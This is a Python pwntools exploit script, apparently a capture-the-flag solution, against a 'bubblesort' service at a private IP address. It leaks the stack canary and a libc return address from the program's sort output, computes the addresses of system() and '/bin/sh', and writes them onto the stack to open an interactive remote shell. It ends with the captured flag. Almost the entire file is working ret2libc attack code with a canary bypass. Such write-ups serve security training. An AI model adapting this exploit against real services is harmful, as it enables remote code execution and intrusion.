#!/usr/bin/env python
from pwn import *

r = remote('192.168.31.25',31337)
bubble = ELF('./bubblesort')
lib	= ELF('./libc.so.6-32')

#CANARY    : ENABLED
#FORTIFY   : ENABLED
#NX        : ENABLED
#PIE       : ENABLED
#RELRO     : FULL

# canary = 9th num
# return address = 17th num  -> __libc_start_main + 243

# user@user-BM1AF-BP1AF-BM6AF:~/Desktop/linux_pwn$ objdump -T libc.so.6 | grep start_main
#  00019970 g    DF .text	000001c6  GLIBC_2.0   __libc_start_main
# user@user-BM1AF-BP1AF-BM6AF:~/Desktop/linux_pwn$ objdump -T libc.so.6 | grep 'system'
#  0003fcd0  w   DF .text	00000038  GLIBC_2.0   system
# user@user-BM1AF-BP1AF-BM6AF:~/Desktop/linux_pwn$ objdump -s libc.so.6 | grep /bin/sh
#  15da80 002d6300 2f62696e 2f736800 65786974  .-c./bin/sh.exit


libc_base_add = ''
libc_sys_add = ''
sh_off = list(lib.search('/bin/sh'))[0]
libc_sh_add = ''
canary = ''
ret_add = '' # _libc_start_main_ + 243

# Step 1 : get canary
res = r.readuntil('?') # "How many numbers do you have ?"
r.send('8\n')
res = r.readuntil(':') # "Enter the x number : "
r.send('4300000000\n'*8)
res = r.readuntil('?') # "Continue (yes:1,no:0) ?"
canary = int( res.split('\n')[-2].split(' ')[0])
r.send('1\n')

# Step 2 : get return address
r.readuntil('?')
r.send('16\n')
r.send('4300000000\n'*16)
res = r.readuntil('?')
ret_add = int( res.split('\n')[-2].split(' ')[0]) 
r.send('1\n')


# Step 3 : get needs 
libc_start_main_add = ret_add - 243
libc_base_add = libc_start_main_add - lib.symbols['__libc_start_main']
libc_sys_add = libc_base_add + lib.symbols['system']
libc_sh_add = libc_base_add + sh_off

# Step 4 : make stack
r.readuntil('?')
r.send('19\n')
r.send('4300000000\n'*19)  # 20th = 0xffffffff
r.readuntil('?')
r.send('1\n')

res =r.readuntil('?')
r.send('19\n')
r.send('0\n'*18 + str(libc_sh_add)+'\n') # 19th = add of /bin/sh
res = r.readuntil('?')
r.send('1\n')

r.readuntil('?')
r.send('17\n')
r.send('0\n'*15 + str(libc_sys_add) + '\n' + str(libc_sys_add) + '\n') # 17 18 = system
r.readuntil('?')
r.send('1\n')

r.readuntil('?')
r.send('8\n')
r.send('0\n'*7+ str(canary) + '\n')  # 9 = canary
r.readuntil('?') # "Continue (yes:1,no:0) ?"

#Step 5 : exit
r.send('0\n')


r.interactive()

#AD{bUbbbbbbbbl3_bubb133333_s0R7_1s_FuNNN}

